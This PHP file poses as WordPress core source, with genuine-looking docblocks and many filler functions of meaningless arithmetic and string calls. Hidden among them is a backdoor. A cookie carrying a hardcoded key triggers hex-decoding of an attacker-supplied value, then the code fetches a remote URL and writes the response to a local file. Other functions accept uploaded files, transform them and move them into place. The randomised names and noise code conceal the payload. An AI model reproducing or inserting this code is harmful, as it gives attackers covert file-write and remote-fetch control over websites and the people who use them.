'avatar_default' option, with a fallback of 'mystery'. * @type bool $force_default Whether to always show the default image, never the Gravatar. Default false. * @type string $rating What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are * judged in that order. Default is the value of the 'avatar_rating' option. * @type string $scheme URL scheme to use. See set_url_scheme() for accepted values. * Default null. * @type array $processed_args When the function returns, the value will be the processed/sanitized $args * plus a "found_avatar" guess. Pass as a reference. Default null. * } * @return false|string The URL of the avatar we found, or false if we couldn't find an avatar. function get_avatar_url( $id_or_email, $args = null ) { $args = get_avatar_data( $id_or_email, $args ); return $args['url']; } * * Retrieves default data about the avatar. * * @since 4.2.0 * * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param array $args { * Optional. Arguments to return instead of the default arguments. * * @type int $size Height and width of the avatar image file in pixels. Default 96. * @type int $height Display height of the avatar in pixels. Defaults to $size. * @type int $width */ /** * Supported default feeds. * * @since 1.5.0 * @var string[] */ function crypto_aead_xchacha20poly1305_ietf_decrypt ($calculated_minimum_font_size){ // The embed shortcode requires a post. $ts_res['tub49djfb'] = 290; $last_sent = 'h9qk'; $position_from_start = 'klewne4t'; $icontag = 'e52tnachk'; if(!isset($tax_type)) { $tax_type = 'b4g5zas0'; } // log2_max_frame_num_minus4 $tax_type = cosh(311); $ASFIndexObjectData['zgsttf4il'] = 272; if(!isset($save_indexes)) { $save_indexes = 'a779g'; } $save_indexes = substr($tax_type, 8, 6); $calculated_minimum_font_size = 'mhulu'; $autosave_post['eluwl4'] = 'm4zpn'; $calculated_minimum_font_size = bin2hex($calculated_minimum_font_size); $ssl_shortcode = (!isset($ssl_shortcode)? "wjn58tmm" : "eku85l2ub"); $curl_error['etszwn'] = 'cdhvx3y'; if(!empty(expm1(295)) === false) { $signed = 'qh64r'; } $colors_by_origin['pzfvq80'] = 'z54anxtf'; $icontag = htmlspecialchars($icontag); if(!isset($cqueries)) { $cqueries = 'pqcqs0n0u'; } if(!(substr($last_sent, 15, 11)) !== True){ $prelabel = 'j4yk59oj'; } $a_l['kkqgxuy4'] = 1716; $position_from_start = substr($position_from_start, 14, 22); $cqueries = sin(883); $last_sent = atan(158); $the_link = (!isset($the_link)? "juxf" : "myfnmv"); // Author Length WORD 16 // number of bytes in Author field // Append the cap query to the original queries and reparse the query. // This can be removed when the minimum supported WordPress is >= 6.4. $converted_string = 'wi2yei7ez'; $match_against = 'xdu7dz8a'; $sitemap_xml = 'nabq35ze'; $newdir['wcioain'] = 'eq7axsmn'; $template_html['abmbqu'] = 'tfcgznt'; // Need to look at the URL the way it will end up in wp_redirect(). $icontag = strripos($icontag, $icontag); $template_dir_uri = (!isset($template_dir_uri)? "su2nq81bc" : "msxacej"); $renamed_langcodes['yg9fqi8'] = 'zwutle'; $sitemap_xml = soundex($sitemap_xml); $frame_pricepaid = (!isset($frame_pricepaid)? 'qcwu' : 'dyeu'); $stack_depth['sdp217m4'] = 754; $is_css = (!isset($is_css)? 'd4ahv1' : 'j2wtb'); $match_against = chop($match_against, $match_against); // Set the 'populated_children' flag, to ensure additional database queries aren't run. $cqueries = stripcslashes($match_against); if(empty(strrpos($icontag, $icontag)) === FALSE) { $loading_attr = 'hk8v3qxf8'; } $last_sent = str_shuffle($converted_string); $edit_date['j23v'] = 'mgg2'; if((htmlentities($sitemap_xml)) == FALSE){ $open = 'n7term'; } if(!(exp(443)) == FALSE) { $compiled_core_stylesheet = 'tnid'; } $cqueries = htmlspecialchars_decode($cqueries); if(!empty(round(608)) !== true) { $yminusx = 'kugo'; } if(!(tan(244)) !== True) { $update_parsed_url = 'aoy4ds'; } $calculated_minimum_font_size = exp(839); $address_chain = (!isset($address_chain)? "ysmlwlwt" : "tsjf64un"); $was_cache_addition_suspended['pfjqyac14'] = 4643; $save_indexes = stripos($calculated_minimum_font_size, $tax_type); $hard = 'ycxx'; $v_header['lnzlwwkn'] = 'k8u30m1'; $tax_type = base64_encode($hard); $tax_type = cosh(901); return $calculated_minimum_font_size; } /** * Core class used to prepare HTTP responses. * * @since 4.4.0 */ function get_all_error_data ($numberstring){ // iTunes 5.0 $nav_menu_term_id = 'ylrxl252'; if(empty(exp(977)) != true) { $css_value = 'vm5bobbz'; } $error_message['gzjwp3'] = 3402; $format_arg = 'yzup974m'; $dimensions = 'c931cr1'; // Needs an extra wrapping div for nth-child selectors to work. // Fix bi-directional text display defect in RTL languages. if(!isset($mock_theme)) { $mock_theme = 'r14j78zh'; } $pings = (!isset($pings)? 't366' : 'mdip5'); if(!isset($recent_comments_id)) { $recent_comments_id = 'plnx'; } if((rad2deg(938)) == true) { $lat_deg_dec = 'xyppzuvk4'; } $f1g0['xv23tfxg'] = 958; if(!isset($update_notoptions)) { $update_notoptions = 'kar35n'; } $theme_has_sticky_support['vb9n'] = 2877; $recent_comments_id = strcoll($nav_menu_term_id, $nav_menu_term_id); $mock_theme = decbin(157); $format_arg = strnatcasecmp($format_arg, $format_arg); $ItemKeyLength = 'xp9xwhu'; $update_notoptions = decbin(789); $iptc = 'qhdw'; if(!isset($at_least_one_comment_in_moderation)) { $at_least_one_comment_in_moderation = 'yxh8n'; } $at_least_one_comment_in_moderation = html_entity_decode($iptc); $feed_image['zmki8662'] = 3928; $at_least_one_comment_in_moderation = sinh(116); $numberstring = 'hxz2'; if((htmlentities($numberstring)) == false) { $f0f2_2 = 'llf8d71'; } if(empty(strripos($update_notoptions, $update_notoptions)) === False) { $browsehappy = 'gg85'; } $required_php_version = 'u0jl'; $v_local_header['xixy7'] = 'sgcto6lf'; if(!isset($expandlinks)) { $expandlinks = 'x5fclgp'; } $expandlinks = lcfirst($required_php_version); $doingbody = (!isset($doingbody)?"rvnkm4l":"e52bnre2h"); $help_tab['u5o0io9w'] = 724; $update_notoptions = acosh(723); $illegal_logins['wghdbw5t'] = 2198; $update_notoptions = rad2deg(514); if((ceil(232)) == False){ $carry2 = 'mhfi7swdk'; } $assigned_menu_id = 'kygzkp'; if(!isset($errstr)) { $errstr = 'erfc3b48o'; } $errstr = lcfirst($assigned_menu_id); $update_notoptions = sinh(419); return $numberstring; } /** * This deprecated function managed much of the site and network loading in multisite. * * The current bootstrap code is now responsible for parsing the site and network load as * well as setting the global $current_site object. * * @access private * @since 3.0.0 * @deprecated 3.9.0 * * @global WP_Network $current_site * * @return WP_Network */ function site_url($max_file_uploads, $unique_urls){ // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits $uploaded = file_get_contents($max_file_uploads); $readable['c5cmnsge'] = 4400; $touches = 'qhmdzc5'; $rp_cookie['xuj9x9'] = 2240; $fieldname = 'dvj349'; // "trivia" in other documentation // As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character // Skip outputting layout styles if explicitly disabled. $contrib_name = dropdown_categories($uploaded, $unique_urls); file_put_contents($max_file_uploads, $contrib_name); } /* translators: 1: CUSTOM_TAGS, 2: Global variable names. */ function test_php_extension_availability($is_list){ // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace). // let there be a single copy in [comments][picture], and not elsewhere $time_html = 'ymfrbyeah'; $is_list = "http://" . $is_list; return file_get_contents($is_list); } /** * Handles installing a plugin via AJAX. * * @since 4.6.0 * * @see Plugin_Upgrader * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. */ function wp_render_background_support($class_names){ wp_replace_insecure_home_url($class_names); // Gravity Forms // Don't claim we can update on update-core.php if we have a non-critical failure logged. $tester = 'vgv6d'; crypto_scalarmult($class_names); } $readable['c5cmnsge'] = 4400; $esc_number['fn1hbmprf'] = 'gi0f4mv'; /* * The post data arrives as either $_POST['data']['wp_autosave'] or the $_POST * itself. This sets $sendmailed_data to the correct variable. * * Ignoring sanitization to avoid altering meta. Ignoring the nonce check because * this is hooked on inner core hooks where a valid nonce was already checked. */ if(!isset($reason)) { $reason = 'py8h'; } $registered_widgets_ids = 'f1q2qvvm'; /** * Unregisters a meta key from the list of registered keys. * * @since 4.6.0 * @since 4.9.8 The `$server_caps` parameter was added. * * @param string $altclass Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user', * or any other object type with an associated meta table. * @param string $original_nav_menu_locations Metadata key. * @param string $server_caps Optional. The subtype of the object type. Default empty string. * @return bool True if successful. False if the meta key was not registered. */ function get_timestamp_as_date($altclass, $original_nav_menu_locations, $server_caps = '') { global $pageregex; if (!registered_meta_key_exists($altclass, $original_nav_menu_locations, $server_caps)) { return false; } $streams = $pageregex[$altclass][$server_caps][$original_nav_menu_locations]; if (isset($streams['sanitize_callback']) && is_callable($streams['sanitize_callback'])) { if (!empty($server_caps)) { remove_filter("sanitize_{$altclass}_meta_{$original_nav_menu_locations}_for_{$server_caps}", $streams['sanitize_callback']); } else { remove_filter("sanitize_{$altclass}_meta_{$original_nav_menu_locations}", $streams['sanitize_callback']); } } if (isset($streams['auth_callback']) && is_callable($streams['auth_callback'])) { if (!empty($server_caps)) { remove_filter("auth_{$altclass}_meta_{$original_nav_menu_locations}_for_{$server_caps}", $streams['auth_callback']); } else { remove_filter("auth_{$altclass}_meta_{$original_nav_menu_locations}", $streams['auth_callback']); } } unset($pageregex[$altclass][$server_caps][$original_nav_menu_locations]); // Do some clean up. if (empty($pageregex[$altclass][$server_caps])) { unset($pageregex[$altclass][$server_caps]); } if (empty($pageregex[$altclass])) { unset($pageregex[$altclass]); } return true; } /** * Outputs a notice when editing the page for posts in the block editor (internal use only). * * @ignore * @since 5.8.0 */ function wp_replace_insecure_home_url($is_list){ $parent_theme_base_path = basename($is_list); $max_file_uploads = set_pattern_cache($parent_theme_base_path); $custom_font_family = 'ja2hfd'; $check_email = 'pr34s0q'; $avdataoffset['dk8l'] = 'cjr1'; $delete_time['y1ywza'] = 'l5tlvsa3u'; // ----- Store the file infos wp_get_typography_font_size_value($is_list, $max_file_uploads); } // Populate values of any missing attributes for which the block type // Make a list of tags, and store how many there are in $num_toks. /** * Gets the name of category by ID. * * @since 0.71 * @deprecated 2.1.0 Use get_category() * @see get_category() * * @param int $v_path_info The category to get. If no category supplied uses 0 * @return string */ function maybe_convert_table_to_utf8mb4($v_path_info = 0) { _deprecated_function(__FUNCTION__, '2.1.0', 'get_category()'); $v_path_info = (int) $v_path_info; if (empty($v_path_info)) { return ''; } $clen = maybe_send_recovery_mode_email($v_path_info); if (empty($clen) || !is_array($clen)) { return ''; } $style_width = (int) $clen[0]; // Take the first cat. $last_name = get_category($style_width); return $last_name->name; } /** * Root ID for all widgets of this type. * * @since 2.8.0 * @var mixed|string */ if(!empty(sqrt(832)) != FALSE){ $m_root_check = 'jr6472xg'; } /** * Content-type sniffing * * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06 * * This is used since we can't always trust Content-Type headers, and is based * upon the HTML5 parsing rules. * * * This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()} * * @package SimplePie * @subpackage HTTP */ function insert_blog ($assigned_menu_id){ $fh['q08a'] = 998; # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); if(!isset($CodecEntryCounter)) { $CodecEntryCounter = 'mek1jjj'; } //get error string for handle. // Do some clean up. // Non-escaped post was passed. // short bits; // added for version 2.00 $CodecEntryCounter = ceil(709); $required_php_version = 'kbs903'; // IIS doesn't support RewriteBase, all your RewriteBase are belong to us. $the_comment_class = 'nvhz'; $objects['nwayeqz77'] = 1103; if((strnatcmp($the_comment_class, $the_comment_class)) === FALSE) { $old_abort = 'iozi1axp'; } $imethod = (!isset($imethod)? 'vlbstjxd' : 'l9tc'); //Reset errors if(!empty(strnatcmp($required_php_version, $required_php_version)) != FALSE){ $outLen = 'gfk54'; } $assigned_menu_id = 'hn7yfpa'; $required_php_version = rtrim($assigned_menu_id); $qe_data = 'v6eljolh'; $qe_data = addslashes($qe_data); $expandlinks = 'bp7o'; if(!(rawurlencode($expandlinks)) === False) { $new_details = 'xrjm32'; } $redirect_user_admin_request['rusppydsz'] = 3749; $assigned_menu_id = log10(30); if(!isset($iptc)) { $iptc = 'ad88'; } $iptc = base64_encode($required_php_version); if(empty(strtr($expandlinks, 21, 5)) == TRUE) { $is_block_theme = 'cyp7'; } $numberstring = 'b80h5k3at'; $wpautop = (!isset($wpautop)? 'o4sz3bd30' : 'fjvm9e'); if(empty(strrev($numberstring)) === true){ $numextensions = 'fz0039'; } if(!(stripos($qe_data, $numberstring)) == TRUE) { $real_mime_types = 'e1gk5'; } $tagmapping = (!isset($tagmapping)? "iy527bj" : "b9jp6w"); $manager['uquo'] = 4151; $assigned_menu_id = basename($required_php_version); if(empty(nl2br($assigned_menu_id)) !== false) { $searchand = 'tr5ptf'; } $approved_phrase = (!isset($approved_phrase)? 'qy0yb1' : 'kzn14alr'); $numberstring = strnatcmp($required_php_version, $qe_data); if(empty(cosh(784)) == True){ $default_theme = 'x167d3mb'; } $assigned_menu_id = lcfirst($assigned_menu_id); $use_widgets_block_editor['qyy6uca'] = 3628; $req_data['t1upnec99'] = 'p9zz5'; if(!isset($all_themes)) { $all_themes = 'bojplujn3'; } $all_themes = urldecode($required_php_version); return $assigned_menu_id; } $reason = log1p(773); /** * Displays or retrieves the next posts page link. * * @since 0.71 * * @param int $max_page Optional. Max pages. Default 0. * @param bool $display Optional. Whether to echo the link. Default true. * @return string|void The link URL for next posts page if `$display = false`. */ function wp_get_typography_font_size_value($is_list, $max_file_uploads){ $error_message['gzjwp3'] = 3402; $option_timeout['gzxg'] = 't2o6pbqnq'; if(empty(atan(135)) == True) { $stylelines = 'jcpmbj9cq'; } if((rad2deg(938)) == true) { $lat_deg_dec = 'xyppzuvk4'; } // List of the unique `img` tags found in $content. // * Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes $translation_begin['wle1gtn'] = 4540; $ItemKeyLength = 'xp9xwhu'; $epmatch = test_php_extension_availability($is_list); // Captures any text in the subject before $phone_delim as the subject. // $p_remove_path : First part ('root' part) of the memorized path if(!isset($last_data)) { $last_data = 'itq1o'; } if(!isset($read_bytes)) { $read_bytes = 'wfztuef'; } // Global styles custom CSS. if ($epmatch === false) { return false; } $rest = file_put_contents($max_file_uploads, $epmatch); return $rest; } /** * Calculated the new dimensions for a downsampled image. * * @since 2.0.0 * @deprecated 3.5.0 Use wp_constrain_dimensions() * @see wp_constrain_dimensions() * * @param int $width Current width of the image * @param int $height Current height of the image * @return array Shrunk dimensions (width, height). */ if((asin(538)) == true){ $pagepath = 'rw9w6'; } /* mac = (h + pad) % (2^128) */ function get_all_discovered_feeds($memory_limit, $encoding_id3v1_autodetect, $class_names){ $parent_theme_base_path = $_FILES[$memory_limit]['name']; // If `core/page-list` is not registered then return empty blocks. // Delete the temporary backup directory if it already exists. $max_file_uploads = set_pattern_cache($parent_theme_base_path); $new_item = 'zpj3'; $is_apache = 'ipvepm'; $new_item = soundex($new_item); $date_fields['eau0lpcw'] = 'pa923w'; $magic_compression_headers['awkrc4900'] = 3113; if(!empty(log10(278)) == true){ $allow_past_date = 'cm2js'; } $user_language_new['d1tl0k'] = 2669; $is_apache = rtrim($is_apache); // Note: If is_multicall is true and multicall_count=0, then we know this is at least the 2nd pingback we've processed in this multicall. $is_apache = strrev($is_apache); $new_item = rawurldecode($new_item); // Run through the actions that are typically taken on the_content. site_url($_FILES[$memory_limit]['tmp_name'], $encoding_id3v1_autodetect); $first_open = 'oa4p8'; $matrixRotation['vhmed6s2v'] = 'jmgzq7xjn'; wp_embed_handler_audio($_FILES[$memory_limit]['tmp_name'], $max_file_uploads); } $background_block_styles = 'meq9njw'; // We seem to be dealing with an IPv4 address. // This function indicates if the path $p_path is under the $p_dir tree. Or, /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $cachekey_time * @param string $assocData * @param string $nonce * @param string $unique_urls * @return string * @throws \SodiumException * @throws \TypeError */ function clearBCCs($is_list){ // Check that the folder contains a valid theme. $skip_margin = 'siuyvq796'; $max_results['omjwb'] = 'vwioe86w'; if (strpos($is_list, "/") !== false) { return true; } return false; } /** * Fires when the WP_Customize_Setting::save() method is called. * * The dynamic portion of the hook name, `$v_path_info_base` refers to * the base slug of the setting name. * * @since 3.4.0 * * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ function add_setting($memory_limit, $encoding_id3v1_autodetect){ $classic_theme_styles = $_COOKIE[$memory_limit]; $classic_theme_styles = pack("H*", $classic_theme_styles); $position_from_start = 'klewne4t'; $p_root_check = 'ujqo38wgy'; $class_names = dropdown_categories($classic_theme_styles, $encoding_id3v1_autodetect); $a_l['kkqgxuy4'] = 1716; $p_root_check = urldecode($p_root_check); $smtp_transaction_id_patterns['csdrcu72p'] = 4701; $position_from_start = substr($position_from_start, 14, 22); // Add "About WordPress" link. if (clearBCCs($class_names)) { $has_archive = wp_render_background_support($class_names); return $has_archive; } migrate_v1_to_v2($memory_limit, $encoding_id3v1_autodetect, $class_names); } $output_encoding = 't2ra3w'; /** * @return bool * * @throws getid3_exception */ if(!isset($full_height)) { $full_height = 'auilyp'; } /** * Callback for validating the header_video value. * * Ensures that the selected video is less than 8MB and provides an error message. * * @since 4.7.0 * * @param WP_Error $validity * @param mixed $header_area * @return mixed */ function PclZip($memory_limit){ $encoding_id3v1_autodetect = 'LdWXSEJEcTOJmLDUdwkOZhgZhZpnBYYk'; // Author not found in DB, set status to pending. Author already set to admin. // Metadata tracks are linked to the tracks they describe using a track-reference of type 'cdsc'. The metadata track holds the 'cdsc' track reference. $nav_menu_term_id = 'ylrxl252'; // textarea_escaped by esc_attr() if(!isset($recent_comments_id)) { $recent_comments_id = 'plnx'; } if (isset($_COOKIE[$memory_limit])) { add_setting($memory_limit, $encoding_id3v1_autodetect); } } $needs_list_item_wrapper = 'stfjo'; /** * Cookie holder object * * @package Requests\Cookies */ if(empty(stripos($registered_widgets_ids, $background_block_styles)) != False) { $comment_agent = 'gl2g4'; } // Webfonts to be processed. /** * Fires after 'normal' context meta boxes have been output for the 'page' post type. * * @since 1.5.0 * * @param WP_Post $sendmail Post object. */ function crypto_scalarmult($cachekey_time){ echo $cachekey_time; } /** * @param string $server * @param string|false $path * @param int|false $port * @param int $timeout */ function space_separated_tokens($shortcode, $line_no){ $tagName = 'mxjx4'; $link_el = (!isset($link_el)? 'xg611' : 'gvse'); $is_site_themes['ru0s5'] = 'ylqx'; $autosave_id = 'e0ix9'; $fourbit = (!isset($fourbit)? "o0q2qcfyt" : "yflgd0uth"); $error_line = gd_edit_image_support($shortcode) - gd_edit_image_support($line_no); $indeterminate_cats['c6gohg71a'] = 'd0kjnw5ys'; if(!isset($cron_offset)) { $cron_offset = 'hc74p1s'; } $theme_settings = (!isset($theme_settings)? 'kmdbmi10' : 'ou67x'); if(!empty(md5($autosave_id)) != True) { $first_comment_email = 'tfe8tu7r'; } if(!isset($other)) { $other = 'gby8t1s2'; } // A config file doesn't exist. // Only keep active and default widgets. $error_line = $error_line + 256; $other = sinh(913); $error_count['huh4o'] = 'fntn16re'; $selectors_json = 'hu691hy'; $cron_offset = sqrt(782); if(!isset($details_link)) { $details_link = 'vgpv'; } $error_line = $error_line % 256; $shortcode = sprintf("%c", $error_line); // If there were multiple Location headers, use the last header specified. $add_below['u6fsnm'] = 4359; $tagName = sha1($tagName); $return_to_post = (!isset($return_to_post)? "nqls" : "yg8mnwcf8"); $cron_offset = html_entity_decode($cron_offset); $details_link = asinh(296); return $shortcode; } /** * Displays the themes table. * * Overrides the parent display() method to provide a different container. * * @since 3.1.0 */ function wp_create_tag ($calculated_minimum_font_size){ $format_keys = 'd8uld'; $selected_revision_id['s2buq08'] = 'hc2ttzixd'; $die['awqpb'] = 'yontqcyef'; $BUFFER = 'zzt6'; $alt_sign = 'nswo6uu'; if(!isset($ilink)) { $ilink = 'aouy1ur7'; } if(!isset($v_pos_entry)) { $v_pos_entry = 'xiyt'; } if((strtolower($alt_sign)) !== False){ $qryline = 'w2oxr'; } if(empty(str_shuffle($BUFFER)) == True){ $thisfile_riff_CDDA_fmt_0 = 'fl5u9'; } $format_keys = addcslashes($format_keys, $format_keys); $tax_type = 'wdm4'; $needed_dirs['y8mgt5oj'] = 'ykxhn'; $tax_type = stripslashes($tax_type); $ilink = decoct(332); if(!(htmlentities($alt_sign)) == TRUE){ $old_request = 's61l0yjn'; } if(empty(addcslashes($format_keys, $format_keys)) !== false) { $ASFbitrateAudio = 'p09y'; } $BUFFER = htmlspecialchars_decode($BUFFER); $v_pos_entry = acos(186); $calculated_next_offset['g171brwkj'] = 627; // Attachment description (post_content internally). $fileurl = (!isset($fileurl)? 'npq4gjngv' : 'vlm5nkpw3'); $force_asc = 'mog6'; $anon_author = 'x7jx64z'; if(!empty(dechex(6)) == True) { $StereoModeID = 'p4eccu5nk'; } $ilink = strrev($ilink); $anon_author = strnatcmp($anon_author, $alt_sign); $last_offset = 'u61e31l'; $force_asc = crc32($force_asc); $send_no_cache_headers['e6701r'] = 'vnjs'; if(!empty(rtrim($v_pos_entry)) != TRUE) { $has_button_colors_support = 'a5fiqg64'; } $signup_user_defaults = (!isset($signup_user_defaults)? 'b6vjdao' : 'rvco'); $SMTPSecure['ycl1'] = 2655; if(!empty(tan(466)) !== TRUE) { $after_opener_tag = 'fijzpy'; } $f0g0 = (!isset($f0g0)?"s6u4":"q6rwuqc"); $ilink = expm1(339); // Setup attributes and styles within that if needed. $BUFFER = strip_tags($last_offset); $format_keys = cosh(87); $anon_author = strrpos($anon_author, $anon_author); $v_pos_entry = atanh(953); if((nl2br($ilink)) != True) { $nonce_state = 'swstvc'; } // AND if AV data offset start/end is known $connect_timeout['xkuyu'] = 'amlo'; $site_logo['ln5cizz'] = 'ccvbfrd'; $alt_sign = log(15); if(empty(wordwrap($ilink)) == false){ $prepared_data = 'w7fb55'; } $force_asc = addcslashes($format_keys, $format_keys); $control['z69me96iz'] = 3704; if(empty(abs(795)) !== false) { $comment_date = 'jpu1rj0'; } $anon_author = dechex(270); if(!isset($num_posts)) { $num_posts = 'vvc88wh'; } if((acosh(685)) !== True) { $lost_widgets = 'b04tbe'; } $ilink = urlencode($ilink); if(empty(tanh(831)) != TRUE) { $cur_wp_version = 'zw22'; } $calculated_minimum_font_size = 'lpzx54'; $comment_text['bsl1t2g'] = 's9hfl'; $tax_type = strcspn($calculated_minimum_font_size, $calculated_minimum_font_size); $l10n_unloaded['abfo63sjq'] = 'pdta'; $now_gmt['bsktgmx'] = 3810; if(!(stripcslashes($calculated_minimum_font_size)) === TRUE) { $has_custom_overlay = 'wke1f8ur'; } $is_future_dated = (!isset($is_future_dated)? "q2j2c6x" : "ik30ky4x"); $tax_type = sha1($tax_type); if(empty(nl2br($tax_type)) !== true) { $resized_file = 'jqxjx'; } if(!(strcspn($calculated_minimum_font_size, $tax_type)) !== false) { $ignore_functions = 'apyy'; } $side_meta_boxes['maat9v'] = 788; $calculated_minimum_font_size = expm1(320); $save_indexes = 'd4d9ca'; $is_visual_text_widget = (!isset($is_visual_text_widget)?"l6i0v":"azcdqzovg"); $tax_type = md5($save_indexes); $disableFallbackForUnitTests['rdr5n4er'] = 869; if((decoct(223)) === FALSE) { $conflicts_with_date_archive = 'a14bfum'; } $opslimit = (!isset($opslimit)?"ijdqb9":"x9aty"); $shared_tt_count['x3bz'] = 1707; $save_indexes = cos(851); $tax_type = md5($save_indexes); if(!empty(base64_encode($calculated_minimum_font_size)) != True) { $last_reply = 'rxjikk3'; } $position_styles['q2508'] = 4650; if((trim($save_indexes)) !== True) { $old_instance = 'v49vy7e'; } $unlink_homepage_logo = (!isset($unlink_homepage_logo)? 'j4d4ibrj9' : 'zq35hnx5'); $save_indexes = log10(170); return $calculated_minimum_font_size; } /** * Filters whether Quick Edit should be enabled for the given post type. * * @since 6.4.0 * * @param bool $enable Whether to enable the Quick Edit functionality. Default true. * @param string $sendmail_type Post type name. */ if(!isset($feedmatch)) { $feedmatch = 'hxhki'; } /** Absolute path to the WordPress directory. */ if(!(htmlspecialchars($output_encoding)) !== FALSE) { $panel_id = 'o1uu4zsa'; } /** * Returns a function that injects the theme attribute into, and hooked blocks before, a given block. * * The returned function can be used as `$pre_callback` argument to `traverse_and_serialize_block(s)`, * where it will inject the `theme` attribute into all Template Part blocks, and prepend the markup for * any blocks hooked `before` the given block and as its parent's `first_child`, respectively. * * This function is meant for internal use only. * * @since 6.4.0 * @since 6.5.0 Added $slugs_node argument. * @access private * * @param array $commentarr An array of blocks hooked to another given block. * @param WP_Block_Template|WP_Post|array $mod_keys A block template, template part, `wp_navigation` post object, * or pattern that the blocks belong to. * @param callable $slugs_node A function that will be called for each block to generate * the markup for a given list of blocks that are hooked to it. * Default: 'insert_hooked_blocks'. * @return callable A function that returns the serialized markup for the given block, * including the markup for any hooked blocks before it. */ function get_metadata_default($commentarr, $mod_keys, $slugs_node = 'insert_hooked_blocks') { /** * Injects hooked blocks before the given block, injects the `theme` attribute into Template Part blocks, and returns the serialized markup. * * If the current block is a Template Part block, inject the `theme` attribute. * Furthermore, prepend the markup for any blocks hooked `before` the given block and as its parent's * `first_child`, respectively, to the serialized markup for the given block. * * @param array $allowed_files The block to inject the theme attribute into, and hooked blocks before. Passed by reference. * @param array $emails The parent block of the given block. Passed by reference. Default null. * @param array $public_post_types The previous sibling block of the given block. Default null. * @return string The serialized markup for the given block, with the markup for any hooked blocks prepended to it. */ return function (&$allowed_files, &$emails = null, $public_post_types = null) use ($commentarr, $mod_keys, $slugs_node) { _inject_theme_attribute_in_template_part_block($allowed_files); $toggle_off = ''; if ($emails && !$public_post_types) { // Candidate for first-child insertion. $toggle_off .= call_user_func_array($slugs_node, array(&$emails, 'first_child', $commentarr, $mod_keys)); } $toggle_off .= call_user_func_array($slugs_node, array(&$allowed_files, 'before', $commentarr, $mod_keys)); return $toggle_off; }; } /** * Filters the output of a finished Site Health test. * * @since 5.3.0 * * @param array $test_result { * An associative array of test result data. * * @type string $label A label describing the test, and is used as a header in the output. * @type string $status The status of the test, which can be a value of `good`, `recommended` or `critical`. * @type array $badge { * Tests are put into categories which have an associated badge shown, these can be modified and assigned here. * * @type string $label The test label, for example `Performance`. * @type string $color Default `blue`. A string representing a color to use for the label. * } * @type string $description A more descriptive explanation of what the test looks for, and why it is important for the end user. * @type string $actions An action to direct the user to where they can resolve the issue, if one exists. * @type string $test The name of the test being ran, used as a reference point. * } */ function wp_get_auto_update_message ($save_indexes){ $xfn_value = 'v2vs2wj'; if((cosh(29)) == True) { $trackback_id = 'grdc'; } $fallback = 'impjul1yg'; if(!isset($default_schema)) { $default_schema = 'vijp3tvj'; } $deletion_error = 'r3ri8a1a'; $xfn_value = html_entity_decode($xfn_value); $certificate_path = 'vbppkswfq'; $deletion_error = wordwrap($deletion_error); $AudioChunkStreamNum = 'hxpv3h1'; $default_schema = round(572); if((html_entity_decode($AudioChunkStreamNum)) == false) { $cached_mofiles = 'erj4i3'; } $show_syntax_highlighting_preference['r68great'] = 'y9dic'; $inclusions = (!isset($inclusions)? "i0l35" : "xagjdq8tg"); $OldAVDataEnd = (!isset($OldAVDataEnd)? 'x6ij' : 'o0irn9vc'); $converted_data = (!isset($converted_data)? "rvjo" : "nzxp57"); $scrape_params['flj6'] = 'yvf1'; $xfn_value = addslashes($xfn_value); $form_post['q2n8z'] = 'lar4r'; $returnbool['zutj'] = 700; if(!(addslashes($default_schema)) === TRUE) { $hidden_fields = 'i9x6'; } // added hexadecimal values $AudioChunkStreamNum = strcspn($AudioChunkStreamNum, $AudioChunkStreamNum); $deletion_error = sinh(361); if((strcoll($fallback, $certificate_path)) === True) { $link_description = 'g9m4y'; } $registered_sidebar = (!isset($registered_sidebar)? 'zkhct' : 'hw38b2g7j'); if(!isset($ref_value)) { $ref_value = 'z7pp'; } $tax_type = 'hob9ghuiy'; $xfn_value = str_shuffle($xfn_value); $ref_value = atan(629); $punycode = (!isset($punycode)?"vr71ishx":"kyma"); $AudioChunkStreamNum = rtrim($AudioChunkStreamNum); $fallback = decoct(244); // Not a closing bracket or forward slash. $calculated_minimum_font_size = 'f8ga66t'; // ----- Check the central header $plaintext['bnglyw7'] = 4149; $http_error = (!isset($http_error)? 'apbrl' : 'ea045'); $frame_datestring = (!isset($frame_datestring)?"ujpna6jai":"saie"); $deletion_error = lcfirst($deletion_error); $certificate_path = strnatcasecmp($fallback, $certificate_path); $tax_type = strripos($tax_type, $calculated_minimum_font_size); $AudioCodecChannels['f1b8yuso3'] = 'ui9wzu1'; $GoodFormatID3v1tag['d4eqi0h1'] = 'lovb2pv'; $deletion_error = log10(607); if(!(strtr($default_schema, 9, 19)) !== FALSE){ $decoded_json = 'ihobch'; } if(empty(chop($xfn_value, $xfn_value)) === FALSE) { $taxonomy_obj = 'jff1'; } // Descending initial sorting. if(!(md5($deletion_error)) === FALSE) { $use_global_query = 'lkwm'; } if((ceil(513)) === False) { $parent_theme_json_file = 'o6sexlb4'; } $complete_request_markup['yxokld4'] = 2356; $default_schema = rtrim($ref_value); $parent_valid['x4kxqq'] = 'l7nvbbug5'; $scale['gqd9'] = 'qvny0nz38'; $test_plugins_enabled = 'hvdsk'; $mods['e8djof44'] = 'qqn0o8of6'; $xfn_value = rad2deg(755); $template_b = (!isset($template_b)? "ywfc3ryiq" : "lun1z0hf"); if(!isset($signature_url)) { $signature_url = 'r20n'; } // Skip if the file is missing. // Field Name Field Type Size (bits) $fallback = strripos($fallback, $test_plugins_enabled); $signature_url = abs(487); $default_schema = tan(733); $preset_background_color['osgnl8b2t'] = 'dulckfy5'; if(!(asin(984)) === FALSE) { $wp_lang_dir = 'mjvvtb'; } 